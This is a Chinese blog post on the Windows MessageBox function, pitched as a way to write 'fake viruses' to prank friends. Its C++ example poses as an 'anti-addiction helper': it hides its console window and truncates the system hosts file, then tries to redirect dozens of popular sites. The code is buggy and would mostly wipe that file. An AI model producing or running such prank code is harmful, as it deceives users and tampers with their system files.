我和鸡能不能再见面
我在佛前唱跳rap了几千年
冷门函数——MessageBox
头文件(windows.h)
作用
显示一个模式对话框,其中包含一个系统图标、一组按钮和一条简短的应用程序特定消息,例如状态或错误信息。 消息框返回一个整数值,指示用户单击的按钮(转)
最常见用法(省略了专业性
MessageBox(NULL,TEXT(“这里填输出的文本”),TEXT(“这里填标题”),MB_OK);
你问我有啥用
写伪病毒吓死你的好兄弟啊
(其实用c++写病毒的挺少
使用样例(自己写的阉割版,别真运行奥
#include <bits/stdc++.h>
#include <windows.h>
#include <ctime>
#include <iostream>
#include <fstream>
#include <string>
#include <map>
#include <TlHelp32.h>
#include <ShellAPI.h>
using namespace std;
int he;
int main(){
HWND hwnd; hwnd=FindWindow("ConsoleWindowClass",NULL);
if(hwnd) { ShowWindow(hwnd,SW_HIDE); }
int ret = MessageBox(NULL,TEXT("欢迎使用防沉迷小助手,请点击继续"),TEXT("防沉迷小助手"),MB_OK);
ret = MessageBox(NULL,TEXT("本产品会将部分网站屏蔽和将打开的软件每三分钟关闭一次"),TEXT("防沉迷小助手"),MB_OK);
char* path = "D:\\C++\\防沉迷小助手";
ofstream fout( path );
if ( fout ) {
fout << "防沉迷小助手时时监视中......" << endl;
fout << "防沉迷小助手时时监视中......" << endl;
fout << "防沉迷小助手时时监视中......" << endl;
}
ret = MessageBox(NULL,TEXT("确定要装入吗"),TEXT("防沉迷小助手"),MB_YESNO);
if(ret == IDNO) return false;
if(ret == IDYES){
ofstream outfile("C:\\Windows\\System32\\drivers\\etc\\hosts", ios::trunc);
if(outfile.is_open()){
outfile.close();
outfile << endl << "127.0.0.1 www.bilibili.com";
outfile << endl << "0.0.0.0 4399.com";
outfile << endl << "0.0.0.0 www.4399.com";
outfile << endl << "0.0.0.0 www.4399.cn";
outfile << endl << "127.0.0.1 www.haokan.com";
outfile << endl << "127.0.0.1 www.douyu.com";
outfile << endl << "127.0.0.1 www.7k7k.com";
outfile << endl << "127.0.0.1 www.zhihu.com";
outfile << endl << "127.0.0.1 www.huya.com";
outfile << endl << "127.0.0.1 www.iqiyi.com";
outfile << endl << "127.0.0.1 www.youku.com";
outfile << endl << "127.0.0.1 www.acfun.com";
outfile << endl << "127.0.0.1 www.people.com";
outfile << endl << "127.0.0.1 www.qq.com";
outfile << endl << "127.0.0.1 www.eastday.com";
outfile << endl << "127.0.0.1 www.ouhui.pinduoduo.com";
outfile << endl << "127.0.0.1 www.tv.sohu.com";
outfile << endl << "127.0.0.1 www.movie.douban..com";
outfile << endl << "127.0.0.1 www.video.sina.com";
outfile << endl << "127.0.0.1 www.music.163.com";
outfile << endl << "127.0.0.1 www.store.steampowered.com";
outfile << endl << "127.0.0.1 www.gamedog.com";
outfile << endl << "127.0.0.1 www.wanyx.com";
outfile << endl << "127.0.0.1 www.news.4399.com";
outfile << endl << "127.0.0.1 www.manhuatai.com";
outfile << endl << "127.0.0.1 www.jd.com";
outfile << endl << "127.0.0.1 www.lishui.58.com";
outfile << endl << "127.0.0.1 www.dangdang.com";
outfile << endl << "127.0.0.1 www.vip.com";
outfile << endl << "127.0.0.1 www.zybang.com";
outfile << endl << "127.0.0.1 www.tmall.com";
outfile << endl << "127.0.0.1 www.ifeng.com";
outfile << endl << "127.0.0.1 www.taobao.com";
outfile << endl << "127.0.0.1 www.booking.com";
outfile << endl << "127.0.0.1 www.wan.sogou.com";
outfile << endl << "127.0.0.1 www.mgbdtg.499youxi.com";
outfile << endl << "127.0.0.1 www.luogu.com";
outfile << endl << "127.0.0.1 www.ybt.ssoier.cn";
outfile << endl << "127.0.0.1 www.oitiku.com";
outfile << endl << "127.0.0.1 www.ads.google.cn.com";
outfile << endl << "127.0.0.1 www.alipay..com";
outfile << endl << "127.0.0.1 www.qzone.qq.com";
outfile << endl << "127.0.0.1 www.douyin.com";
outfile << endl << "127.0.0.1 www.kuaishou.com";
outfile << endl << "127.0.0.1 www.work.weixin.qq.com";
outfile << endl << "127.0.0.1 www.game.163.com";
outfile << endl << "127.0.0.1 www.163.com";
outfile << endl << "127.0.0.1 www.email.163.com";
outfile << endl << "127.0.0.1 www.kuaishou.com";
Sleep(2021);
ret = MessageBox(NULL,TEXT("植入成功"),TEXT("防沉迷小助手"),MB_OK);
ret = MessageBox(NULL,TEXT("可在D盘C++“防沉迷小助手”文件中查看游戏时间等详情"),TEXT("防沉迷小助手"),MB_OK);
}
exit(100);
}
return 0;
}
(点个赞 原理有空讲
https://www.acwing.com/user/myspace/blog/add/(你的id)/
不要发题解,发分享
彳亍